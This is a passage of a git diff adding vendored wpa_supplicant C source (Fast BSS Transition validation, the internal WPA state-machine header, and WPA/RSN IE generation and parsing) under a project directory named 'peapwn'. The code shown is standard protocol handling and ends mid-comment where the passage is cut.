| Key Length[1] | Key[16+8] */ + + keyidx = WPA_GET_LE16(igtk_elem); + + wpa_hexdump_key(MSG_DEBUG, "FT: IGTK from Reassoc Resp", igtk, + WPA_IGTK_LEN); + if (wpa_sm_set_key(sm, WPA_ALG_IGTK, broadcast_ether_addr, keyidx, 0, + igtk_elem + 2, 6, igtk, WPA_IGTK_LEN) < 0) { + wpa_printf(MSG_WARNING, "WPA: Failed to set IGTK to the " + "driver."); + return -1; + } + + return 0; +} +#endif /* CONFIG_IEEE80211W */ + + +int wpa_ft_validate_reassoc_resp(struct wpa_sm *sm, const u8 *ies, + size_t ies_len, const u8 *src_addr) +{ + struct wpa_ft_ies parse; + struct rsn_mdie *mdie; + struct rsn_ftie *ftie; + unsigned int count; + u8 mic[16]; + + wpa_hexdump(MSG_DEBUG, "FT: Response IEs", ies, ies_len); + + if (sm->key_mgmt != WPA_KEY_MGMT_FT_IEEE8021X && + sm->key_mgmt != WPA_KEY_MGMT_FT_PSK) { + wpa_printf(MSG_DEBUG, "FT: Reject FT IEs since FT is not " + "enabled for this connection"); + return -1; + } + + if (wpa_ft_parse_ies(ies, ies_len, &parse) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to parse IEs"); + return -1; + } + + mdie = (struct rsn_mdie *) parse.mdie; + if (mdie == NULL || parse.mdie_len < sizeof(*mdie) || + os_memcmp(mdie->mobility_domain, sm->mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid MDIE"); + return -1; + } + + ftie = (struct rsn_ftie *) parse.ftie; + if (ftie == NULL || parse.ftie_len < sizeof(*ftie)) { + wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); + return -1; + } + + if (os_memcmp(ftie->snonce, sm->snonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: SNonce mismatch in FTIE"); + wpa_hexdump(MSG_DEBUG, "FT: Received SNonce", + ftie->snonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Expected SNonce", + sm->snonce, WPA_NONCE_LEN); + return -1; + } + + if (os_memcmp(ftie->anonce, sm->anonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: ANonce mismatch in FTIE"); + wpa_hexdump(MSG_DEBUG, "FT: Received ANonce", + ftie->anonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Expected ANonce", + sm->anonce, WPA_NONCE_LEN); + return -1; + } + + if (parse.r0kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: No R0KH-ID subelem in FTIE"); + return -1; + } + + if (parse.r0kh_id_len != sm->r0kh_id_len || + os_memcmp(parse.r0kh_id, sm->r0kh_id, parse.r0kh_id_len) != 0) { + wpa_printf(MSG_DEBUG, "FT: R0KH-ID in FTIE did not match with " + "the current R0KH-ID"); + wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID in FTIE", + parse.r0kh_id, parse.r0kh_id_len); + wpa_hexdump(MSG_DEBUG, "FT: The current R0KH-ID", + sm->r0kh_id, sm->r0kh_id_len); + return -1; + } + + if (parse.r1kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: No R1KH-ID subelem in FTIE"); + return -1; + } + + if (os_memcmp(parse.r1kh_id, sm->r1kh_id, FT_R1KH_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Unknown R1KH-ID used in " + "ReassocResp"); + return -1; + } + + if (parse.rsn_pmkid == NULL || + os_memcmp(parse.rsn_pmkid, sm->pmk_r1_name, WPA_PMK_NAME_LEN)) { + wpa_printf(MSG_DEBUG, "FT: No matching PMKR1Name (PMKID) in " + "RSNIE (pmkid=%d)", !!parse.rsn_pmkid); + return -1; + } + + count = 3; + if (parse.ric) + count += ieee802_11_ie_count(parse.ric, parse.ric_len); + if (ftie->mic_control[1] != count) { + wpa_printf(MSG_DEBUG, "FT: Unexpected IE count in MIC " + "Control: received %u expected %u", + ftie->mic_control[1], count); + return -1; + } + + if (wpa_ft_mic(sm->ptk.kck, sm->own_addr, src_addr, 6, + parse.mdie - 2, parse.mdie_len + 2, + parse.ftie - 2, parse.ftie_len + 2, + parse.rsn - 2, parse.rsn_len + 2, + parse.ric, parse.ric_len, + mic) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to calculate MIC"); + return -1; + } + + if (os_memcmp(mic, ftie->mic, 16) != 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid MIC in FTIE"); + wpa_hexdump(MSG_MSGDUMP, "FT: Received MIC", ftie->mic, 16); + wpa_hexdump(MSG_MSGDUMP, "FT: Calculated MIC", mic, 16); + return -1; + } + + if (wpa_ft_process_gtk_subelem(sm, parse.gtk, parse.gtk_len) < 0) + return -1; + +#ifdef CONFIG_IEEE80211W + if (wpa_ft_process_igtk_subelem(sm, parse.igtk, parse.igtk_len) < 0) + return -1; +#endif /* CONFIG_IEEE80211W */ + + if (sm->set_ptk_after_assoc) { + wpa_printf(MSG_DEBUG, "FT: Try to set PTK again now that we " + "are associated"); + if (wpa_ft_install_ptk(sm, src_addr) < 0) + return -1; + sm->set_ptk_after_assoc = 0; + } + + if (parse.ric) { + wpa_hexdump(MSG_MSGDUMP, "FT: RIC Response", + parse.ric, parse.ric_len); + /* TODO: parse response and inform driver about results when + * using wpa_supplicant SME */ + } + + wpa_printf(MSG_DEBUG, "FT: Completed successfully"); + + return 0; +} + + +/** + * wpa_ft_start_over_ds - Generate over-the-DS auth request + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @target_ap: Target AP Address + * @mdie: Mobility Domain IE from the target AP + * Returns: 0 on success, -1 on failure + */ +int wpa_ft_start_over_ds(struct wpa_sm *sm, const u8 *target_ap, + const u8 *mdie) +{ + u8 *ft_ies; + size_t ft_ies_len; + + wpa_printf(MSG_DEBUG, "FT: Request over-the-DS with " MACSTR, + MAC2STR(target_ap)); + + /* Generate a new SNonce */ + if (random_get_bytes(sm->snonce, WPA_NONCE_LEN)) { + wpa_printf(MSG_INFO, "FT: Failed to generate a new SNonce"); + return -1; + } + + ft_ies = wpa_ft_gen_req_ies(sm, &ft_ies_len, NULL, sm->pmk_r0_name, + NULL, target_ap, NULL, 0, mdie); + if (ft_ies) { + sm->over_the_ds_in_progress = 1; + os_memcpy(sm->target_ap, target_ap, ETH_ALEN); + wpa_sm_send_ft_action(sm, 1, target_ap, ft_ies, ft_ies_len); + os_free(ft_ies); + } + + return 0; +} + +#endif /* CONFIG_IEEE80211R */ diff --git a/peapwn/mods/hostap/src/rsn_supp/wpa_i.h b/peapwn/mods/hostap/src/rsn_supp/wpa_i.h new file mode 100644 index 000000000..0e0d373f4 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/wpa_i.h @@ -0,0 +1,322 @@ +/* + * Internal WPA/RSN supplicant state machine definitions + * Copyright (c) 2004-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_I_H +#define WPA_I_H + +#include "utils/list.h" + +struct wpa_peerkey; +struct wpa_tdls_peer; +struct wpa_eapol_key; + +/** + * struct wpa_sm - Internal WPA state machine data + */ +struct wpa_sm { + u8 pmk[PMK_LEN]; + size_t pmk_len; + struct wpa_ptk ptk, tptk; + int ptk_set, tptk_set; + u8 snonce[WPA_NONCE_LEN]; + u8 anonce[WPA_NONCE_LEN]; /* ANonce from the last 1/4 msg */ + int renew_snonce; + u8 rx_replay_counter[WPA_REPLAY_COUNTER_LEN]; + int rx_replay_counter_set; + u8 request_counter[WPA_REPLAY_COUNTER_LEN]; + + struct eapol_sm *eapol; /* EAPOL state machine from upper level code */ + + struct rsn_pmksa_cache *pmksa; /* PMKSA cache */ + struct rsn_pmksa_cache_entry *cur_pmksa; /* current PMKSA entry */ + struct dl_list pmksa_candidates; + + struct l2_packet_data *l2_preauth; + struct l2_packet_data *l2_preauth_br; + struct l2_packet_data *l2_tdls; + u8 preauth_bssid[ETH_ALEN]; /* current RSN pre-auth peer or + * 00:00:00:00:00:00 if no pre-auth is + * in progress */ + struct eapol_sm *preauth_eapol; + + struct wpa_sm_ctx *ctx; + + void *scard_ctx; /* context for smartcard callbacks */ + int fast_reauth; /* whether EAP fast re-authentication is enabled */ + + void *network_ctx; + int peerkey_enabled; + int allowed_pairwise_cipher; /* bitfield of WPA_CIPHER_* */ + int proactive_key_caching; + int eap_workaround; + void *eap_conf_ctx; + u8 ssid[32]; + size_t ssid_len; + int wpa_ptk_rekey; + + u8 own_addr[ETH_ALEN]; + const char *ifname; + const char *bridge_ifname; + u8 bssid[ETH_ALEN]; + + unsigned int dot11RSNAConfigPMKLifetime; + unsigned int dot11RSNAConfigPMKReauthThreshold; + unsigned int dot11RSNAConfigSATimeout; + + unsigned int dot11RSNA4WayHandshakeFailures; + + /* Selected configuration (based on Beacon/ProbeResp WPA IE) */ + unsigned int proto; + unsigned int pairwise_cipher; + unsigned int group_cipher; + unsigned int key_mgmt; + unsigned int mgmt_group_cipher; + + int rsn_enabled; /* Whether RSN is enabled in configuration */ + int mfp; /* 0 = disabled, 1 = optional, 2 = mandatory */ + + u8 *assoc_wpa_ie; /* Own WPA/RSN IE from (Re)AssocReq */ + size_t assoc_wpa_ie_len; + u8 *ap_wpa_ie, *ap_rsn_ie; + size_t ap_wpa_ie_len, ap_rsn_ie_len; + +#ifdef CONFIG_PEERKEY + struct wpa_peerkey *peerkey; +#endif /* CONFIG_PEERKEY */ +#ifdef CONFIG_TDLS + struct wpa_tdls_peer *tdls; + int tdls_prohibited; + int tdls_disabled; + + /* The driver supports TDLS */ + int tdls_supported; + + /* + * The driver requires explicit discovery/setup/teardown frames sent + * to it via tdls_mgmt. + */ + int tdls_external_setup; +#endif /* CONFIG_TDLS */ + +#ifdef CONFIG_IEEE80211R + u8 xxkey[PMK_LEN]; /* PSK or the second 256 bits of MSK */ + size_t xxkey_len; + u8 pmk_r0[PMK_LEN]; + u8 pmk_r0_name[WPA_PMK_NAME_LEN]; + u8 pmk_r1[PMK_LEN]; + u8 pmk_r1_name[WPA_PMK_NAME_LEN]; + u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; + u8 r0kh_id[FT_R0KH_ID_MAX_LEN]; + size_t r0kh_id_len; + u8 r1kh_id[FT_R1KH_ID_LEN]; + int ft_completed; + int over_the_ds_in_progress; + u8 target_ap[ETH_ALEN]; /* over-the-DS target AP */ + int set_ptk_after_assoc; + u8 mdie_ft_capab; /* FT Capability and Policy from target AP MDIE */ + u8 *assoc_resp_ies; /* MDIE and FTIE from (Re)Association Response */ + size_t assoc_resp_ies_len; +#endif /* CONFIG_IEEE80211R */ +}; + + +static inline void wpa_sm_set_state(struct wpa_sm *sm, enum wpa_states state) +{ + WPA_ASSERT(sm->ctx->set_state); + sm->ctx->set_state(sm->ctx->ctx, state); +} + +static inline enum wpa_states wpa_sm_get_state(struct wpa_sm *sm) +{ + WPA_ASSERT(sm->ctx->get_state); + return sm->ctx->get_state(sm->ctx->ctx); +} + +static inline void wpa_sm_deauthenticate(struct wpa_sm *sm, int reason_code) +{ + WPA_ASSERT(sm->ctx->deauthenticate); + sm->ctx->deauthenticate(sm->ctx->ctx, reason_code); +} + +static inline int wpa_sm_set_key(struct wpa_sm *sm, enum wpa_alg alg, + const u8 *addr, int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + WPA_ASSERT(sm->ctx->set_key); + return sm->ctx->set_key(sm->ctx->ctx, alg, addr, key_idx, set_tx, + seq, seq_len, key, key_len); +} + +static inline void * wpa_sm_get_network_ctx(struct wpa_sm *sm) +{ + WPA_ASSERT(sm->ctx->get_network_ctx); + return sm->ctx->get_network_ctx(sm->ctx->ctx); +} + +static inline int wpa_sm_get_bssid(struct wpa_sm *sm, u8 *bssid) +{ + WPA_ASSERT(sm->ctx->get_bssid); + return sm->ctx->get_bssid(sm->ctx->ctx, bssid); +} + +static inline int wpa_sm_ether_send(struct wpa_sm *sm, const u8 *dest, + u16 proto, const u8 *buf, size_t len) +{ + WPA_ASSERT(sm->ctx->ether_send); + return sm->ctx->ether_send(sm->ctx->ctx, dest, proto, buf, len); +} + +static inline int wpa_sm_get_beacon_ie(struct wpa_sm *sm) +{ + WPA_ASSERT(sm->ctx->get_beacon_ie); + return sm->ctx->get_beacon_ie(sm->ctx->ctx); +} + +static inline void wpa_sm_cancel_auth_timeout(struct wpa_sm *sm) +{ + WPA_ASSERT(sm->ctx->cancel_auth_timeout); + sm->ctx->cancel_auth_timeout(sm->ctx->ctx); +} + +static inline u8 * wpa_sm_alloc_eapol(struct wpa_sm *sm, u8 type, + const void *data, u16 data_len, + size_t *msg_len, void **data_pos) +{ + WPA_ASSERT(sm->ctx->alloc_eapol); + return sm->ctx->alloc_eapol(sm->ctx->ctx, type, data, data_len, + msg_len, data_pos); +} + +static inline int wpa_sm_add_pmkid(struct wpa_sm *sm, const u8 *bssid, + const u8 *pmkid) +{ + WPA_ASSERT(sm->ctx->add_pmkid); + return sm->ctx->add_pmkid(sm->ctx->ctx, bssid, pmkid); +} + +static inline int wpa_sm_remove_pmkid(struct wpa_sm *sm, const u8 *bssid, + const u8 *pmkid) +{ + WPA_ASSERT(sm->ctx->remove_pmkid); + return sm->ctx->remove_pmkid(sm->ctx->ctx, bssid, pmkid); +} + +static inline int wpa_sm_mlme_setprotection(struct wpa_sm *sm, const u8 *addr, + int protect_type, int key_type) +{ + WPA_ASSERT(sm->ctx->mlme_setprotection); + return sm->ctx->mlme_setprotection(sm->ctx->ctx, addr, protect_type, + key_type); +} + +static inline int wpa_sm_update_ft_ies(struct wpa_sm *sm, const u8 *md, + const u8 *ies, size_t ies_len) +{ + if (sm->ctx->update_ft_ies) + return sm->ctx->update_ft_ies(sm->ctx->ctx, md, ies, ies_len); + return -1; +} + +static inline int wpa_sm_send_ft_action(struct wpa_sm *sm, u8 action, + const u8 *target_ap, + const u8 *ies, size_t ies_len) +{ + if (sm->ctx->send_ft_action) + return sm->ctx->send_ft_action(sm->ctx->ctx, action, target_ap, + ies, ies_len); + return -1; +} + +static inline int wpa_sm_mark_authenticated(struct wpa_sm *sm, + const u8 *target_ap) +{ + if (sm->ctx->mark_authenticated) + return sm->ctx->mark_authenticated(sm->ctx->ctx, target_ap); + return -1; +} + +static inline void wpa_sm_set_rekey_offload(struct wpa_sm *sm) +{ + if (!sm->ctx->set_rekey_offload) + return; + sm->ctx->set_rekey_offload(sm->ctx->ctx, sm->ptk.kek, + sm->ptk.kck, sm->rx_replay_counter); +} + +#ifdef CONFIG_TDLS +static inline int wpa_sm_tdls_get_capa(struct wpa_sm *sm, + int *tdls_supported, + int *tdls_ext_setup) +{ + if (sm->ctx->tdls_get_capa) + return sm->ctx->tdls_get_capa(sm->ctx->ctx, tdls_supported, + tdls_ext_setup); + return -1; +} + +static inline int wpa_sm_send_tdls_mgmt(struct wpa_sm *sm, const u8 *dst, + u8 action_code, u8 dialog_token, + u16 status_code, const u8 *buf, + size_t len) +{ + if (sm->ctx->send_tdls_mgmt) + return sm->ctx->send_tdls_mgmt(sm->ctx->ctx, dst, action_code, + dialog_token, status_code, + buf, len); + return -1; +} + +static inline int wpa_sm_tdls_oper(struct wpa_sm *sm, int oper, + const u8 *peer) +{ + if (sm->ctx->tdls_oper) + return sm->ctx->tdls_oper(sm->ctx->ctx, oper, peer); + return -1; +} + +static inline int +wpa_sm_tdls_peer_addset(struct wpa_sm *sm, const u8 *addr, int add, + u16 aid, u16 capability, const u8 *supp_rates, + size_t supp_rates_len, + const struct ieee80211_ht_capabilities *ht_capab, + const struct ieee80211_vht_capabilities *vht_capab, + u8 qosinfo, const u8 *ext_capab, size_t ext_capab_len) +{ + if (sm->ctx->tdls_peer_addset) + return sm->ctx->tdls_peer_addset(sm->ctx->ctx, addr, add, + aid, capability, supp_rates, + supp_rates_len, ht_capab, + vht_capab, qosinfo, + ext_capab, ext_capab_len); + return -1; +} +#endif /* CONFIG_TDLS */ + +void wpa_eapol_key_send(struct wpa_sm *sm, const u8 *kck, + int ver, const u8 *dest, u16 proto, + u8 *msg, size_t msg_len, u8 *key_mic); +int wpa_supplicant_send_2_of_4(struct wpa_sm *sm, const unsigned char *dst, + const struct wpa_eapol_key *key, + int ver, const u8 *nonce, + const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ptk *ptk); +int wpa_supplicant_send_4_of_4(struct wpa_sm *sm, const unsigned char *dst, + const struct wpa_eapol_key *key, + u16 ver, u16 key_info, + const u8 *kde, size_t kde_len, + struct wpa_ptk *ptk); + +int wpa_derive_ptk_ft(struct wpa_sm *sm, const unsigned char *src_addr, + const struct wpa_eapol_key *key, + struct wpa_ptk *ptk, size_t ptk_len); + +void wpa_tdls_assoc(struct wpa_sm *sm); +void wpa_tdls_disassoc(struct wpa_sm *sm); + +#endif /* WPA_I_H */ diff --git a/peapwn/mods/hostap/src/rsn_supp/wpa_ie.c b/peapwn/mods/hostap/src/rsn_supp/wpa_ie.c new file mode 100644 index 000000000..50b9272b2 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/wpa_ie.c @@ -0,0 +1,452 @@ +/* + * wpa_supplicant - WPA/RSN IE and KDE processing + * Copyright (c) 2003-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "wpa.h" +#include "pmksa_cache.h" +#include "common/ieee802_11_defs.h" +#include "wpa_i.h" +#include "wpa_ie.h" + + +/** + * wpa_parse_wpa_ie - Parse WPA/RSN IE + * @wpa_ie: Pointer to WPA or RSN IE + * @wpa_ie_len: Length of the WPA/RSN IE + * @data: Pointer to data area for parsing results + * Returns: 0 on success, -1 on failure + * + * Parse the contents of WPA or RSN IE and write the parsed data into data. + */ +int wpa_parse_wpa_ie(const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ie_data *data) +{ + if (wpa_ie_len >= 1 && wpa_ie[0] == WLAN_EID_RSN) + return wpa_parse_wpa_ie_rsn(wpa_ie, wpa_ie_len, data); + else + return wpa_parse_wpa_ie_wpa(wpa_ie, wpa_ie_len, data); +} + + +static int wpa_gen_wpa_ie_wpa(u8 *wpa_ie, size_t wpa_ie_len, + int pairwise_cipher, int group_cipher, + int key_mgmt) +{ + u8 *pos; + struct wpa_ie_hdr *hdr; + u32 suite; + + if (wpa_ie_len < sizeof(*hdr) + WPA_SELECTOR_LEN + + 2 + WPA_SELECTOR_LEN + 2 + WPA_SELECTOR_LEN) + return -1; + + hdr = (struct wpa_ie_hdr *) wpa_ie; + hdr->elem_id = WLAN_EID_VENDOR_SPECIFIC; + RSN_SELECTOR_PUT(hdr->oui, WPA_OUI_TYPE); + WPA_PUT_LE16(hdr->version, WPA_VERSION); + pos = (u8 *) (hdr + 1); + + suite = wpa_cipher_to_suite(WPA_PROTO_WPA, group_cipher); + if (suite == 0) { + wpa_printf(MSG_WARNING, "Invalid group cipher (%d).", + group_cipher); + return -1; + } + RSN_SELECTOR_PUT(pos, suite); + pos += WPA_SELECTOR_LEN; + + *pos++ = 1; + *pos++ = 0; + suite = wpa_cipher_to_suite(WPA_PROTO_WPA, pairwise_cipher); + if (suite == 0 || + (!wpa_cipher_valid_pairwise(pairwise_cipher) && + pairwise_cipher != WPA_CIPHER_NONE)) { + wpa_printf(MSG_WARNING, "Invalid pairwise cipher (%d).", + pairwise_cipher); + return -1; + } + RSN_SELECTOR_PUT(pos, suite); + pos += WPA_SELECTOR_LEN; + + *pos++ = 1; + *pos++ = 0; + if (key_mgmt == WPA_KEY_MGMT_IEEE8021X) { + RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_UNSPEC_802_1X); + } else if (key_mgmt == WPA_KEY_MGMT_PSK) { + RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X); + } else if (key_mgmt == WPA_KEY_MGMT_WPA_NONE) { + RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_NONE); + } else if (key_mgmt == WPA_KEY_MGMT_CCKM) { + RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_CCKM); + } else { + wpa_printf(MSG_WARNING, "Invalid key management type (%d).", + key_mgmt); + return -1; + } + pos += WPA_SELECTOR_LEN; + + /* WPA Capabilities; use defaults, so no need to include it */ + + hdr->len = (pos - wpa_ie) - 2; + + WPA_ASSERT((size_t) (pos - wpa_ie) <= wpa_ie_len); + + return pos - wpa_ie; +} + + +static int wpa_gen_wpa_ie_rsn(u8 *rsn_ie, size_t rsn_ie_len, + int pairwise_cipher, int group_cipher, + int key_mgmt, int mgmt_group_cipher, + struct wpa_sm *sm) +{ + u8 *pos; + struct rsn_ie_hdr *hdr; + u16 capab; + u32 suite; + + if (rsn_ie_len < sizeof(*hdr) + RSN_SELECTOR_LEN + + 2 + RSN_SELECTOR_LEN + 2 + RSN_SELECTOR_LEN + 2 + + (sm->cur_pmksa ? 2 + PMKID_LEN : 0)) { + wpa_printf(MSG_DEBUG, "RSN: Too short IE buffer (%lu bytes)", + (unsigned long) rsn_ie_len); + return -1; + } + + hdr = (struct rsn_ie_hdr *) rsn_ie; + hdr->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(hdr->version, RSN_VERSION); + pos = (u8 *) (hdr + 1); + + suite = wpa_cipher_to_suite(WPA_PROTO_RSN, group_cipher); + if (suite == 0) { + wpa_printf(MSG_WARNING, "Invalid group cipher (%d).", + group_cipher); + return -1; + } + RSN_SELECTOR_PUT(pos, suite); + pos += RSN_SELECTOR_LEN; + + *pos++ = 1; + *pos++ = 0; + suite = wpa_cipher_to_suite(WPA_PROTO_RSN, pairwise_cipher); + if (suite == 0 || + (!wpa_cipher_valid_pairwise(pairwise_cipher) && + pairwise_cipher != WPA_CIPHER_NONE)) { + wpa_printf(MSG_WARNING, "Invalid pairwise cipher (%d).", + pairwise_cipher); + return -1; + } + RSN_SELECTOR_PUT(pos, suite); + pos += RSN_SELECTOR_LEN; + + *pos++ = 1; + *pos++ = 0; + if (key_mgmt == WPA_KEY_MGMT_IEEE8021X) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_UNSPEC_802_1X); + } else if (key_mgmt == WPA_KEY_MGMT_PSK) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X); + } else if (key_mgmt == WPA_KEY_MGMT_CCKM) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_CCKM); +#ifdef CONFIG_IEEE80211R + } else if (key_mgmt == WPA_KEY_MGMT_FT_IEEE8021X) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_802_1X); + } else if (key_mgmt == WPA_KEY_MGMT_FT_PSK) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_PSK); +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + } else if (key_mgmt == WPA_KEY_MGMT_IEEE8021X_SHA256) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_802_1X_SHA256); + } else if (key_mgmt == WPA_KEY_MGMT_PSK_SHA256) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_PSK_SHA256); +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_SAE + } else if (key_mgmt == WPA_KEY_MGMT_SAE) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_SAE); + } else if (key_mgmt == WPA_KEY_MGMT_FT_SAE) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_SAE); +#endif /* CONFIG_SAE */ + } else { + wpa_printf(MSG_WARNING, "Invalid key management type (%d).", + key_mgmt); + return -1; + } + pos += RSN_SELECTOR_LEN; + + /* RSN Capabilities */ + capab = 0; +#ifdef CONFIG_IEEE80211W + if (sm->mfp) + capab |= WPA_CAPABILITY_MFPC; + if (sm->mfp == 2) + capab |= WPA_CAPABILITY_MFPR; +#endif /* CONFIG_IEEE80211W */ + WPA_PUT_LE16(pos, capab); + pos += 2; + + if (sm->cur_pmksa) { + /* PMKID Count (2 octets, little endian) */ + *pos++ = 1; + *pos++ = 0; + /* PMKID */ + os_memcpy(pos, sm->cur_pmksa->pmkid, PMKID_LEN); + pos += PMKID_LEN; + } + +#ifdef CONFIG_IEEE80211W + if (mgmt_group_cipher == WPA_CIPHER_AES_128_CMAC) { + if (!sm->cur_pmksa) { + /* PMKID Count */ + WPA_PUT_LE16(pos, 0); + pos += 2; + } + + /* Management Group Cipher Suite */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_AES_128_CMAC); + pos += RSN_SELECTOR_LEN; + } +#endif /* CONFIG_IEEE80211W */ + + hdr->len = (pos - rsn_ie) - 2; + + WPA_ASSERT((size_t) (pos - rsn_ie) <= rsn_ie_len); + + return pos - rsn_ie; +} + + +/** + * wpa_gen_wpa_ie - Generate WPA/RSN IE based on current security policy + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @wpa_ie: Pointer to memory area for the generated WPA/RSN IE + * @wpa_ie_len: Maximum length of the generated WPA/RSN IE + * Returns: Length of the generated WPA/RSN IE or -1 on failure + */ +int wpa_gen_wpa_ie(struct wpa_sm *sm, u8 *wpa_ie, size_t wpa_ie_len) +{ + if (sm->proto == WPA_PROTO_RSN) + return wpa_gen_wpa_ie_rsn(wpa_ie, wpa_ie_len, + sm->pairwise_cipher, + sm->group_cipher, + sm->key_mgmt, sm->mgmt_group_cipher, + sm); + else + return wpa_gen_wpa_ie_wpa(wpa_ie, wpa_ie_len, + sm->pairwise_cipher, + sm->group_cipher, + sm->key_mgmt); +} + + +/** + * wpa_parse_generic - Parse EAPOL-Key Key Data Generic IEs + * @pos: Pointer to the IE header + * @end: Pointer to the end of the Key Data buffer + * @ie: Pointer to parsed IE data + * Returns: 0 on success, 1 if end mark is found, -1 on failure + */ +static int wpa_parse_generic(const u8 *pos, const u8 *end, + struct wpa_eapol_ie_parse *ie) +{ + if (pos[1] == 0) + return 1; + + if (pos[1] >= 6 && + RSN_SELECTOR_GET(pos + 2) == WPA_OUI_TYPE && + pos[2 + WPA_SELECTOR_LEN] == 1 && + pos[2 + WPA_SELECTOR_LEN + 1] == 0) { + ie->wpa_ie = pos; + ie->wpa_ie_len = pos[1] + 2; + wpa_hexdump(MSG_DEBUG, "WPA: WPA IE in EAPOL-Key", + ie->wpa_ie, ie->wpa_ie_len); + return 0; + } + + if (pos + 1 + RSN_SELECTOR_LEN < end && + pos[1] >= RSN_SELECTOR_LEN + PMKID_LEN && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_PMKID) { + ie->pmkid = pos + 2 + RSN_SELECTOR_LEN; + wpa_hexdump(MSG_DEBUG, "WPA: PMKID in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_GROUPKEY) { + ie->gtk = pos + 2 + RSN_SELECTOR_LEN; + ie->gtk_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump_key(MSG_DEBUG, "WPA: GTK in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_MAC_ADDR) { + ie->mac_addr = pos + 2 + RSN_SELECTOR_LEN; + ie->mac_addr_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump(MSG_DEBUG, "WPA: MAC Address in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } + +#ifdef CONFIG_PEERKEY + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_SMK) { + ie->smk = pos + 2 + RSN_SELECTOR_LEN; + ie->smk_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump_key(MSG_DEBUG, "WPA: SMK in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_NONCE) { + ie->nonce = pos + 2 + RSN_SELECTOR_LEN; + ie->nonce_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump(MSG_DEBUG, "WPA: Nonce in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_LIFETIME) { + ie->lifetime = pos + 2 + RSN_SELECTOR_LEN; + ie->lifetime_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump(MSG_DEBUG, "WPA: Lifetime in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_ERROR) { + ie->error = pos + 2 + RSN_SELECTOR_LEN; + ie->error_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump(MSG_DEBUG, "WPA: Error in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } +#endif /* CONFIG_PEERKEY */ + +#ifdef CONFIG_IEEE80211W + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_IGTK) { + ie->igtk = pos + 2 + RSN_SELECTOR_LEN; + ie->igtk_len = pos[1] - RSN_SELECTOR_LEN; + wpa_hexdump_key(MSG_DEBUG, "WPA: IGTK in EAPOL-Key", + pos, pos[1] + 2); + return 0; + } +#endif /* CONFIG_IEEE80211W */ + + return 0; +} + + +/** + * 